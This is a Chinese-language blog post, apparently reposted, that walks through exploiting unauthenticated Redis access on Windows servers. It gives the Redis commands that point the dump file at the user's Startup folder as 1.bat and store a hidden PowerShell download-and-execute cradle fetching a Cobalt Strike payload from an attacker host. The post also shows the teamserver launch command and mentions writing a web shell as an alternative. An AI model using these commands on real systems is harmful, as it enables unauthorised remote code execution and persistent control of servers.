Windows环境下redis未授权访问的利用

linux环境下redis未授权访问获取权限的文章教程很多也比较全,但是在windows下的利用文章确鲜少。windows下的利用可以通过启动项获取权限或者获取网站绝对路径写入wenshell(当然肯定还有其他的方法),简单记录一下。

  • 0x01 背景

前面搞到了一个redis未授权访问,想通过定时任务获取权限,结果:

虽然有可能是其他原因,后面的进一步测试才发现,目标主机是一台windows,/var/spool/cron是linux的crontab计划任务,如果是windows的话,可以使用启动项。

  • 0x02 写入启动项

windows下启动项的目录为:

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

 内网中在这里我选在CS做C2,先启动一个服务端:

 ./teamserver x.x.x.x 555

 客户端连接,添加一个listener:

选择刚才的listener,launch生成代码:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://129.x.x.x:80/a'))"

保存为1.bat。本地启动redis服务端,并未授权访问:

config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
+OK
config set dbfilename 1.bat
+OK
set x “

powershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://129.x.x.x:80/a’))”

”
+OK
save 
+OK

  

这里因为权限问题,换了一台靶机,没有截图,重启靶机(这是比较坑的地方),因为靶机可以出网,选择了一台公网的vps做CS服务端:

原文地址:https://www.cnblogs.com/2rsh0u/p/12654080.html